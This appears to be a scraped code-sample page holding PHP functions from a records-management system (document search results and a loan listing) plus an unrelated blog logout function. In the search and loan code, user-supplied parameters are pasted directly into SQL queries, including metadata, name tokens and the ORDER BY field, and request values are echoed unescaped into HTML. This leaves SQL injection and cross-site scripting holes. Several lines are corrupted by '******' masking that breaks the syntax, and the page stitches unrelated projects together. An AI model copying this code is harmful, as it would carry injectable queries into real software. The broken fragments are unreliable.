        $sWhere = $sWhere . " AND EXP.SGD_EXP_ESTADO <> 2";
        $sWhere = $sWhere . " AND ( EXP.SGD_EXP_NUMERO LIKE '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%'";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP1 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP2 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP3 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP4 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP5 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " )";
    }
    /* Se decide si busca en radicado de entrada o de salida o ambos */
    $ps_entrada = strip(get_param("s_entrada"));
    $eLen = strlen($ps_entrada);
    $ps_salida = strip(get_param("s_salida"));
    $sLen = strlen($ps_salida);
    if ($ps_entrada != "9999") {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "({$radi_nume_radi} like " . tosql("%" . trim($ps_entrada), "Text") . ")";
    }
    /* Se recibe el tipo de documento para la busqueda */
    $ps_TDOC_CODI = get_param("s_TDOC_CODI");
    if (is_number($ps_TDOC_CODI) && strlen($ps_TDOC_CODI) && $ps_TDOC_CODI != "9999") {
        $ps_TDOC_CODI = tosql($ps_TDOC_CODI, "Number");
    } else {
        $ps_TDOC_CODI = "";
    }
    if (strlen($ps_TDOC_CODI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.tdoc_codi=" . $ps_TDOC_CODI;
    }
    /*             * ***************************************************************
     * Se recibe la cadena del metadato para la busqueda.
     * Implemnetacion para OPAIN S.A.
     * por Grupo Iyunxi Ltda.
     */
    $ps_METADATO = strip(get_param("s_METADATO"));
    $yaentro = false;
    if (strlen($ps_METADATO)) {
        if ($sWhere != "") {
            $sWhere .= " and MM.SGD_MMR_DATO LIKE '%{$ps_METADATO}%'";
        }
        $HasParam = true;
        $sWhere .= " ";
    }
    //****************************************************************
    /* Se recibe la caadena a buscar y el tipo de busqueda (All) (Any) */
    $ps_RADI_NOMB = trim(strip(get_param("s_RADI_NOMB")));
    $ps_RADI_NOMB = mb_strtoupper(trim($ps_RADI_NOMB), ini_get('default_charset'));
    $ps_solo_nomb = get_param("s_solo_nomb");
    $yaentro = false;
    if (trim($ps_RADI_NOMB)) {
        $inTD = ",2";
    }
    if (strlen($ps_RADI_NOMB)) {
        //&& $ps_solo_nomb == "Any")
        if ($sWhere != "") {
            $sWhere .= " and (";
        }
        $HasParam = true;
        $sWhere .= " ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        $sWhere .= "(";
        while ($tok) {
            $sWhere .= "";
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(dir.sgd_dir_nomremdes) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ") or (";
        $tok = strtok($ps_RADI_NOMB, " ");
        $yaentro = false;
        while ($tok) {
            $sWhere .= "";
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(dir.sgd_dir_nombre) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ") or (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        if ($yaentro == true) {
            $sWhere .= " and (";
        }
        $sWhere .= "UPPER(" . $db->conn->Concat("r.ra_asun", "r.radi_cuentai", "dir.sgd_dir_telefono", "dir.sgd_dir_direccion") . ") LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        if ($yaentro == true) {
            $sWhere .= ")";
        }
        $yaentro = true;
        $sWhere .= "))";
    }
    if (strlen($ps_RADI_NOMB) && $ps_solo_nomb == "AllTTT") {
        if ($sWhere != "") {
            $sWhere .= " AND (";
        }
        $HasParam = true;
        $sWhere .= " ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        $sWhere .= "(";
        $sWhere .= "";
        if ($yaentro == true) {
            $sWhere .= " AND ";
        }
        $sWhere .= "UPPER(dir.sgd_dir_nomremdes) LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        $yaentro = true;
        $sWhere .= ") OR (";
        $tok = strtok($ps_RADI_NOMB, " ");
        $yaentro = false;
        $sWhere .= "";
        if ($yaentro == true) {
            $sWhere .= " AND ";
        }
        $sWhere .= "UPPER(dir.sgd_dir_nombre) LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        $yaentro = true;
        $sWhere .= ") OR (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        if ($yaentro == true) {
            $sWhere .= " AND (";
        }
        $sWhere .= "UPPER(" . $db->conn->Concat("r.ra_asun", "r.radi_cuentai", "dir.sgd_dir_telefono", "dir.sgd_dir_direccion") . ") LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        if ($yaentro == true) {
            $sWhere .= ")";
        }
        $yaentro = true;
        $sWhere .= "))";
    }
    if ($HasParam) {
        $sWhere = " AND (" . $sWhere . ") ";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    require_once "../include/query/busqueda/busquedaPiloto1.php";
    $sSQL = "SELECT " . $radi_nume_radi . " AS RADI_NUME_RADI," . $db->conn->SQLDate('Y-m-d H:i:s', 'R.RADI_FECH_RADI') . " AS RADI_FECH_RADI,\n\t\t\tr.RA_ASUN, \n\t\t\tr.RADI_CUENTAI AS CUENTAI,\n\t\t\ttd.sgd_tpr_descrip, " . $redondeo . " as diasr,\n\t\t\tr.RADI_NUME_HOJA, \n\t\t\tr.RADI_PATH, \n\t\t\tdir.SGD_DIR_DIRECCION, \n\t\t\tdir.SGD_DIR_MAIL,\n\t\t\tdir.SGD_DIR_NOMREMDES, \n\t\t\tdir.SGD_DIR_TELEFONO, \n\t\t\tdir.SGD_DIR_DIRECCION,\n                        dir.SGD_DIR_DOC, \n\t\t\tr.RADI_USU_ANTE, \n\t\t\tr.RADI_PAIS,\n\t\t\tdir.SGD_DIR_NOMBRE,\n                        dir.SGD_TRD_CODIGO, \n\t\t\tr.RADI_DEPE_ACTU, \n\t\t\tr.RADI_USUA_ACTU, \n\t\t\tr.CODI_NIVEL, \n\t\t\tr.SGD_SPUB_CODIGO";
    /*             * ******************************************************************
                  /**
                 * B�squeda por par�meto del expediente 
                 * Fecha de modificacion: 11-Agosto-2006
                 * Modificador: Supersolidaria
                 */
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0) {
        $sSQL .= " ,EXP.SGD_EXP_NUMERO";
    }
    /**
     * B�squeda por expediente
     * Fecha de modificaci�n: 30-Junio-2006
     * Modificador: Supersolidaria
     */
    //Modificacion de la conslta para trabajar con la mejora de la busqueda por metadato - Grupo Iyunxi Ltda.
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0) {
        $sSQL .= " FROM SGD_EXP_EXPEDIENTE EXP, SGD_SEXP_SECEXPEDIENTES SEXP, RADICADO as R\n                INNER JOIN SGD_DIR_DRECCIONES DIR ON R.RADI_NUME_RADI=DIR.RADI_NUME_RADI \n\t        INNER JOIN SGD_TPR_TPDCUMENTO TD ON R.TDOC_CODI=TD.SGD_TPR_CODIGO";
    } else {
        $sSQL .= " FROM RADICADO R \n                INNER JOIN SGD_DIR_DRECCIONES DIR ON R.RADI_NUME_RADI=DIR.RADI_NUME_RADI \n\t        INNER JOIN SGD_TPR_TPDCUMENTO TD ON R.TDOC_CODI=TD.SGD_TPR_CODIGO";
    }
    /*             * **************************************************************************************
     * Busqueda por Metadato
     * Fecha de implemnetacion 11/Julio/2011
     * Para: OPAIN S.A.
     * Por: Grupo Iyunxi Ltda
     */
    if (strlen($ps_METADATO) != 0) {
        $sSQL .= " LEFT JOIN SGD_MMR_MATRIMETARADI MM ON R.RADI_NUME_RADI = MM.RADI_NUME_RADI";
    }
    /*             * ************************************************************************************** */
    $sSQL .= " WHERE dir.sgd_dir_tipo in (1{$inTD})";
    // $sSQL .= " WHERE dir.RADI_NUME_RADI=r.RADI_NUME_RADI AND r.TDOC_CODI=td.SGD_TPR_CODIGO ";
    //-------------------------------//SE QUITA " AND r.CODI_NIVEL <=$nivelus "
    //---------------------------------
    // Assemble full SQL statement
    //-------------------------------
    $sSQL .= $sWhere . $whereTrd . $sOrder;
    // echo "<!-- $sSQL -->";
    // $db->conn->debug=true;
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
    // print $sSQL;
    $rs = $db->query($sSQL);
    $rsaux = $db->query($sSQL);
    $db->conn->SetFetchMode(ADODB_FETCH_NUM);
    //echo "<hr>$sSQL<hr>";
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if ($rs->EOF || !$rs) {
        ?>
                <tr>
                    <td colspan="20" class="alarmas">No hay resultados</td>
                </tr>
                <?php 
        //-------------------------------
        //  The insert link.
        //-------------------------------
        ?>
                <tr>
                    <td colspan="20" class="ColumnTD"><font class="ColumnFONT">
                        <?php 
        ?>
            </table>
            <?php 
        return;
    }
    /* else{
              if (!isset($carpetaBodega)) {
              include "$ruta_raiz/config.php";
              }
              include_once("$ruta_raiz/adodb/toexport.inc.php");
    
              $ruta = "$ruta_raiz/".$carpetaBodega."tmp/Busqclasic".date('Y_m_d_H_i_s').".csv";
              $f = fopen($ruta, 'w');
              if ($f) {
              rs2csvfile($rsaux, $f);
              $linkcsv= "<a href='$ruta' target='_blank'><img style='border:0px' src='".$ruta_raiz."imagenes/csv.png' alt='Archivo CSV'/></a>";
              }
              } */
    //-------------------------------
    ?>
        <!--tr>
         <td colspan="10" class="DataTD"><b>Total Registros Encontrados: <?php 
    echo $fldTotal;
    ?>
</b></td>
        </tr-->

        <?php 
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Process page scroller
    //-------------------------------
    $iPage = get_param("FormCIUDADANO_Page");
    //print ("<BR>($iPage)($iRecordsPerPage)");
    if (strlen(trim($iPage)) == 0) {
        $iPage = 1;
    } else {
        if ($iPage == "last") {
            $db_count = get_db_value($sCountSQL);
            $dResult = intval($db_count) / $iRecordsPerPage;
            $iPage = intval($dResult);
            if ($iPage < $dResult) {
                $iPage++;
            }
        } else {
            $iPage = intval($iPage);
        }
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        //print ("<BR>($iPage)($iRecordsPerPage)");
        do {
            $iCounter++;
            $rs->MoveNext();
            //print("Entra......");
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && (!$rs->EOF && $rs));
    }
    $iCounter = 0;
    //-------------------------------
    //$ruta_raiz ="..";
    //include "../config.php";
    //include "../jh_class/funciones_sgd.php";
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------.
    $i = 1;
    while (!$rs->EOF && $rs && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldRADI_NUME_RADI = $rs->fields['RADI_NUME_RADI'];
        $fldRADI_FECH_RADI = $rs->fields['RADI_FECH_RADI'];
        /**
         * B�squeda por expediente
         * Fecha de modificaci�n: 11-Agosto-2006
         * Modificador: Supersolidaria
         */
        $fldsSGD_EXP_SUBEXPEDIENTE = $rs->fields['SGD_EXP_NUMERO'];
        $fldCUENTAI = $rs->fields['CUENTAI'];
        $fldASUNTO = $rs->fields['RA_ASUN'];
        $fldTIPO_DOC = $rs->fields['SGD_TPR_DESCRIP'];
        $fldNUME_HOJAS = $rs->fields['RADI_NUME_HOJA'];
        $fldRADI_PATH = $rs->fields['RADI_PATH'];
        $fldDIRECCION_C = $rs->fields['SGD_DIR_DIRECCION'];
        $fldDIGNATARIO = $rs->fields['SGD_DIR_NOMBRE'];
        $fldTELEFONO_C = $rs->fields['SGD_DIR_TELEFONO'];
        $fldMAIL_C = $rs->fields['SGD_DIR_MAIL'];
        $fldNOMBRE = $rs->fields['SGD_DIR_NOMREMDES'];
        $fldCEDULA = $rs->fields['SGD_DIR_DOC'];
        //$fldUSUA_ACTU = $rs->fields['NOMB_ACTU") . " - (" . $rs->fields['LOGIN_ACTU").")";
        $aRADI_DEPE_ACTU = $rs->fields['RADI_DEPE_ACTU'];
        $aRADI_USUA_ACTU = $rs->fields['RADI_USUA_ACTU'];
        $fldUSUA_ANTE = $rs->fields['RADI_USU_ANTE'];
        $fldPAIS = $rs->fields['RADI_PAIS'];
        $fldDIASR = $rs->fields['DIASR'];
        $tipoReg = $rs->fields['SGD_TRD_CODIGO'];
        $nivelRadicado = $rs->fields['CODI_NIVEL'];
        $seguridadRadicado = $rs->fields['SGD_SPUB_CODIGO'];
        $fldMETADATO = $rs->fields['SGD_MMR_DATO'];
        // Busqueda por Metadato - Grupo Iyunxi Ltda
        if ($tipoReg == 1) {
            $tipoRegDesc = "Ciudadano";
        }
        if ($tipoReg == 2) {
            $tipoRegDesc = "Empresa";
        }
        if ($tipoReg == 3) {
            $tipoRegDesc = "Entidad";
        }
        if ($tipoReg == 4) {
            $tipoRegDesc = "Funcionario";
        }
        $fldNOMBRE = str_replace($ps_RADI_NOMB, "<font color=green><b>{$ps_RADI_NOMB}</b>", tohtml($fldNOMBRE));
        $fldASUNTO = str_replace($ps_RADI_NOMB, "<font color=green><b>{$ps_RADI_NOMB}</b>", tohtml($fldASUNTO));
        //-------------------------------
        // Busquedas Anidadas
        //-------------------------------
        $queryDep = "select DEPE_NOMB from dependencia where DEPE_CODI={$aRADI_DEPE_ACTU}";
        $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
        $rs2 = $db->query($queryDep);
        $fldDEPE_ACTU = $rs2->fields['DEPE_NOMB'];
        $queryUs = "select USUA_NOMB from USUARIO where DEPE_CODI={$aRADI_DEPE_ACTU} and USUA_CODI={$aRADI_USUA_ACTU} ";
        $rs3 = $db->query($queryUs);
        $fldUSUA_ACTU = $rs3->fields['USUA_NOMB'];
        $db->conn->SetFetchMode(ADODB_FETCH_NUM);
        $linkDocto = "<a class='vinculos' href='javascript:noPermiso(0)' > ";
        $linkInfGeneral = "<a class='vinculos' href='javascript:noPermiso(0)' > ";
        if (strlen($fldRADI_PATH)) {
            $linkDoctoImg = "<a class='vinculos' href='../seguridadImagen.php?fec=" . base64_encode($fldRADI_PATH) . "' target='Imagen{$iii}'>";
        }
        $linkInfGeneralRad = "<a class='vinculos' href='../verradicado.php?verrad={$fldRADI_NUME_RADI}&" . session_name() . "=" . session_id() . "&krd={$krd}&carpeta=8&nomcarpeta=Busquedas&tipo_carp=0'>";
        if ($nivelRadicado <= $nivelus) {
            if ($seguridadRadicado == 1) {
                if ($aRADI_USUA_ACTU == $_SESSION['codusuario'] && $aRADI_DEPE_ACTU == $_SESSION['dependencia']) {
                    $linkDocto = $linkDoctoImg;
                    $linkInfGeneral = $linkInfGeneralRad;
                } else {
                    $linkDocto = "<a class='vinculos' href='javascript:noPermiso(1)' > ";
                    $linkInfGeneral = $linkInfGeneralRad;
                }
            } else {
                $linkDocto = $linkDoctoImg;
                $linkInfGeneral = $linkInfGeneralRad;
            }
        }
        if ($seguridadRadicado == 2) {
            if ($aRADI_DEPE_ACTU == $_SESSION['dependencia']) {
                $linkDocto = $linkDoctoImg;
                $linkInfGeneral = $linkInfGeneralRad;
            } else {
                $variable_inventada = $_SESSION['dependencia'];
                $linkDocto = "<a class='vinculos' href='javascript:noPermiso(1)' > ";
                $linkInfGeneral = $linkInfGeneralRad;
            }
        }
        if ($seguridadRadicado == 3) {
            $sql = "select * from sgd_matriz_nivelrad where radi_nume_radi={$fldRADI_NUME_RADI} and usua_login='******'krd'] . "'";
            $rsVerif = $db->conn->Execute($sql);
            if ($rsVerif && !$rsVerif->EOF or $aRADI_USUA_ACTU == $_SESSION['codusuario'] && $aRADI_DEPE_ACTU == $_SESSION['dependencia']) {
                $linkDocto = $linkDoctoImg;
                $linkInfGeneral = $linkInfGeneralRad;
            } else {
                $linkDocto = "<a class='vinculos' href='javascript:noPermiso(1)' > ";
                $linkInfGeneral = $linkInfGeneralRad;
            }
        }
        if ($_SESSION['usua_super_perm'] != 0) {
            //$UsrSecAux->UsrPerm
            $UsrSecAux = new SecSuperClass($db);
            $UsrSecAux->SecSuperFill($_SESSION['usua_doc']);
            if ($UsrSecAux->SecureCheck($fldRADI_NUME_RADI) == false) {
                $linkDocto = "<a class='vinculos' href='javascript:noPermiso(2)' > ";
                $linkInfGeneral = "<a class='vinculos' href='javascript:noPermiso(2)' > ";
            }
        }
        //$verImg= $verImg && !($fila['SGD_SPUB_CODIGO']==1);
        //$linkInfGeneralVin = "<a class='vinculos' href='../vinculacion/mod_vinculacion.php?numRadi=$fldRADI_NUME_RADI&carpeta=$carpeAnt&nomcarpeta=$nomcarpeta&verrad=$verrad&".session_name()."=".session_id()."&krd=$krd&carpeta=$carpeAnt&nomcarpeta=$nomcarpeta&tipo_carp=0' >";
        if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) == 0) {
            $consultaExpediente = "SELECT SGD_EXP_NUMERO  FROM SGD_EXP_EXPEDIENTE\n\t\t\t\tWHERE radi_nume_radi= {$fldRADI_NUME_RADI} AND sgd_exp_fech=(SELECT MIN(SGD_EXP_FECH) as minFech from sgd_exp_expediente where radi_nume_radi= {$fldRADI_NUME_RADI})";
            $rsE = $db->query($consultaExpediente);
            $fldsSGD_EXP_SUBEXPEDIENTE = $rsE->fields[0];
        }
        //$linkInfGeneral =
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        if ($i == 1) {
            $formato = "listado1";
            $i = 2;
        } else {
            $formato = "listado2";
            $i = 1;
        }
        ?>
            <tr class="<?php 
        echo $formato;
        ?>
">
                <?php 
        if ($indiVinculo == 1) {
            ?>
                    <td class="leidos" align="center" width="70">
                        <A href="javascript:pasar_datos('<?php 
            echo $fldRADI_NUME_RADI;
            ?>
');" >
                            Vincular
                    </td>
                    <?php 
        }
        if ($indiVinculo == 2) {
            ?>
                    <td class="leidos" align="center" width="70">
                        <A href="javascript:pasar_datos('<?php 
            echo $fldsSGD_EXP_SUBEXPEDIENTE;
            ?>
',2);" >
                            Vincular
                    </td>

                    <?php 
        }
        ?>
                <td class="leidos">
                    <?php 
        if (strlen($fldRADI_PATH)) {
            $iii = $iii + 1;
            ?>
  <?php 
            echo $linkDocto;
        }
        ?>
                    <?php 
        echo $fldRADI_NUME_RADI;
        ?>
                    <?php 
        if (strlen($fldRADI_PATH)) {
            ?>
</a><?php 
        }
        ?>
&nbsp;
                </td>
                <td class="leidos"><?php 
        echo $linkInfGeneral;
        ?>
                    <?php 
        echo tohtml($fldRADI_FECH_RADI);
        ?>
&nbsp;</a></td>
                <!--
                B�squeda por expediente
                Fecha de modificaci�n: 11-Agosto-2006
                Modificador: Supersolidaria
                -->
                <td class="leidos">
                    <?php 
        echo $fldsSGD_EXP_SUBEXPEDIENTE;
        ?>
&nbsp;</td>

                <td class="leidos">
                    <?php 
        echo $fldASUNTO;
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo $fldCUENTAI;
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldTIPO_DOC);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo $tipoRegDesc;
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldNUME_HOJAS);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldDIRECCION_C);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldTELEFONO_C);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldMAIL_C);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldDIGNATARIO);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo $fldNOMBRE;
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldCEDULA);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldUSUA_ACTU);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldDEPE_ACTU);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldUSUA_ANTE);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        echo tohtml($fldPAIS);
        ?>
&nbsp;</td>
                <td class="leidos">
                    <?php 
        if ($fldRADI_DEPE_ACTU != 999) {
            echo tohtml($fldDIASR);
        } else {
            echo "Sal";
        }
        ?>
&nbsp;</td>

            </tr>
            <?php 
        $iCounter++;
        $rs->MoveNext();
    }
    //-------------------------------
    //  Record navigator.
    //-------------------------------
    ?>
        <tr>
            <td colspan="20" class="ColumnTD"><font class="ColumnFONT">
                <?php 
    // Navigation begin
    $bEof = $rs;
    if ($bEof && !$bEof->EOF || $iPage != 1) {
        $iCounter = 1;
        $iHasPages = $iPage;
        $sPages = "";
        $iDisplayPages = 0;
        $iNumberOfPages = 30;
        /* El nmero de p�inas que aparecer� en el navegador al pie de la p�ina */
        while (!$rs->EOF && $rs && $iHasPages < $iPage + $iNumberOfPages) {
            if ($iCounter == $iRecordsPerPage) {
                $iCounter = 0;
                $iHasPages = $iHasPages + 1;
            }
            $iCounter++;
            $rs->MoveNext();
        }
        if (($rs->EOF || !$rs) && $iCounter > 1) {
            $iHasPages++;
        }
        if ($iHasPages - $iPage < intval($iNumberOfPages / 2)) {
            $iStartPage = $iHasPages - $iNumberOfPages;
        } else {
            $iStartPage = $iPage - $iNumberOfPages + intval($iNumberOfPages / 2);
        }
        if ($iStartPage < 0) {
            $iStartPage = 0;
        }
        for ($iPageCount = $iPageCount + 1; $iPageCount <= $iPage - 1; $iPageCount++) {
            $sPages .= "<a href=" . $sFileName . "?" . $form_params . $sSortParams . "FormCIUDADANO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</a>&nbsp;";
            $iDisplayPages++;
        }
        $sPages .= "<font " . "class=\"paginacion\"" . "><b>" . $iPage . "</b>&nbsp;";
        $iDisplayPages++;
        $iPageCount = $iPage + 1;
        while ($iDisplayPages < $iNumberOfPages && $iStartPage + $iDisplayPages < $iHasPages) {
            $sPages .= "<a href=\"" . $sFileName . "?" . $form_params . $sSortParams . "FormCIUDADANO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</a>&nbsp;";
            $iDisplayPages++;
            $iPageCount++;
        }
        if ($iPage == 1) {
            ?>
                        <font class="paginacion">Primero
                        <font class="paginacion">Anterior
                        <?php 
        } else {
            ?>
                        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=1#RADICADO"><font class="paginacion">Primero</a>
                        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=<?php 
            echo $iPage - 1;
            ?>
#RADICADO"><font class="paginacion">Anterior</a>
                        <?php 
        }
        echo "&nbsp;[&nbsp;" . $sPages . "]&nbsp;";
        if ($rs->EOF) {
            ?>
                        <font class="ColumnFONT">Siguiente
                        <font class="ColumnFONT">Ultimo
                        <?php 
        } else {
            ?>
                        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=<?php 
            echo $iPage + 1;
            ?>
#RADICADO"><font class="ColumnFONT">Siguiente</a>
                            <?php 
        }
    }
    ?>
            </td></tr>
    </table>
    <?php 
    if ($rsaux->EOF || !$rsaux) {
    } else {
        if (!isset($carpetaBodega)) {
            include "{$ruta_raiz}/config.php";
        }
        include_once "{$ruta_raiz}/adodb/toexport.inc.php";
        $ruta = "{$ruta_raiz}/" . $carpetaBodega . "tmp/Busqclasic" . date('Y_m_d_H_i_s') . ".csv";
        $f = fopen($ruta, 'w');
        if ($f) {
            rs2csvfile($rsaux, $f);
            echo "<a href='{$ruta}' target='_blank'><img style='border:0px' width='20' height='20' src='" . $ruta_raiz . "/imagenes/csv.png' alt='Archivo CSV'/>Archivo CSV</a>";
        }
    }
}

示例#16

文件： system.php 项目： sg-first/YMmd-Blog

function LoginOut()
{
	unset($_SESSION['password']);
    echo '注销登录成功';
    tourl("../login.htm");
}

示例#17

文件： prestamo.php 项目： kractos26/orfeo

function Pedidos_Show()
{
    // De sesi�n
    global $db;
    global $krd;
    //usuario actual
    global $dependencia;
    //dependencia del usuario actual
    global $ruta_raiz;
    // Control de visualizaci�n
    global $sFileName;
    global $opcionMenu;
    global $pageAnt;
    // Pagina de la cual viene
    // Valores
    global $fechaFinal;
    global $fechaInicial;
    // Set variables with search parameters
    $ps_PRES_ESTADO = strip(get_param("s_PRES_ESTADO"));
    $ps_RADI_NUME_RADI = strip(trim(get_param("s_RADI_NUME_RADI")));
    $ps_USUA_LOGIN = strip(trim(get_param("s_USUA_LOGIN")));
    $ps_DEPE_NOMB = strip(get_param("s_DEPE_NOMB"));
    $ps_USUA_NOMB = strip(get_param("s_USUA_NOMB"));
    $ps_hora_limite = strip(get_param("s_hora_limite"));
    $ps_minuto_limite = strip(get_param("s_minuto_limite"));
    $ps_meridiano = strip(get_param("s_meridiano"));
    $ps_PRES_REQUERIMIENTO = strip(get_param("s_PRES_REQUERIMIENTO"));
    if (strlen($pageAnt) == 0) {
        // Build SQL
        include_once $ruta_raiz . "/include/query/prestamo/builtSQL1.inc";
        include_once $ruta_raiz . "/include/query/prestamo/builtSQL2.inc";
        include_once $ruta_raiz . "/include/query/prestamo/builtSQL3.inc";
        // Build ORDER statement
        $iSort = strip(get_param("FormPedidos_Sorting"));
        $iSorted = strip(get_param("FormPedidos_Sorted"));
        $sDirection = strip(get_param("s_Direction"));
        if ($iSorted != $iSort) {
            $sDirection = " DESC ";
        } else {
            if (strcasecmp($sDirection, " DESC ") == 0) {
                $sDirection = " ASC ";
            } else {
                $sDirection = " DESC ";
            }
        }
        $sOrder = " order by " . $iSort . $sDirection . ",PRESTAMO_ID";
        // Inicializa el titulo y la visibilidad de los resultados
        include_once "inicializarRTA.inc";
        // Execute SQL statement
        $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
        $rs = $db->query($sSQL . $sOrder);
        $db->conn->SetFetchMode(ADODB_FETCH_NUM);
        // Process empty recordset
        if (!$rs || $rs->EOF) {
            ?>
            <p align="center" class="titulosError2">NO HAY REGISTROS SELECCIONADOS</p>
<?php 
            return;
        }
        // Build parameters for order
        $form_params_search = "s_RADI_NUME_RADI=" . tourl($ps_RADI_NUME_RADI) . "&s_USUA_LOGIN="******"&s_DEPE_NOMB=" . tourl($ps_DEPE_NOMB) . "&s_USUA_NOMB=" . tourl($ps_USUA_NOMB) . "&s_PRES_REQUERIMIENTO=" . tourl($ps_PRES_REQUERIMIENTO) . "&s_PRES_ESTADO=" . tourl($ps_PRES_ESTADO) . "&fechaInicial=" . tourl($fechaInicial) . "&fechaFinal=" . tourl($fechaFinal) . "&s_hora_limite=" . tourl($ps_hora_limite) . "&s_minuto_limite=" . tourl($ps_minuto_limite) . "&s_meridiano=" . tourl($ps_meridiano);
        $form_params_page = "&FormPedidos_Page=1&FormStarPage=1&FormSiguiente=0";
        $form_params = $form_params_search . $form_params_page . "&opcionMenu=" . tourl($opcionMenu) . "&krd=" . tourl($krd) . "&FormPedidos_Sorted=" . tourl($iSort) . "&s_Direction=" . tourl($sDirection) . "&FormPedidos_Sorting=";
        // HTML column prestamo headers
        ?>
      <form method="post" action="prestamo.php" name="rta">
         <input type="hidden"  value='<?php 
        echo $krd;
        ?>
' name="krd">					 					 					 		 
         <input type="hidden" value=" " name="radicado">  	 
         <input type="hidden" value="" name="prestado">  	 
	     <input type="hidden" name="opcionMenu" value="<?php 
        echo $opcionMenu;
        ?>
">	  
         <!-- orden de presentaci�n del resultado en el formulario de envio !-->	  		 		 
   	     <input type="hidden" name="FormPedidos_Sorting" value="<?php 
        echo $iSort;
        ?>
">
	     <input type="hidden" name="FormPedidos_Sorted" value="<?php 
        echo $iSorted;
        ?>
">
         <input type="hidden" name="s_Direction" value="<?php 
        echo $sDirection;
        ?>
">
         <table border=0 cellpadding=0 cellspacing=2 class='borde_tab' width="100%">
         <tr>
            <td class="titulos4" colspan="<?php 
        echo $numCol;
        ?>
"><a name="Search"><?php 
        echo $tituloRespuesta[$opcionMenu];
        ?>
</a></td>
         </tr>		   	  	  		 		 		 	  
<?php 
        // Titulos de las columnas
        include_once "inicializarTabla.inc";
        //----------------------
        // Process page scroller
        //----------------------
        // Initialize records per page
        $iRecordsPerPage = 15;
        // Inicializa el valor de la pagina actual
        $iPage = intval(get_param("FormPedidos_Page"));
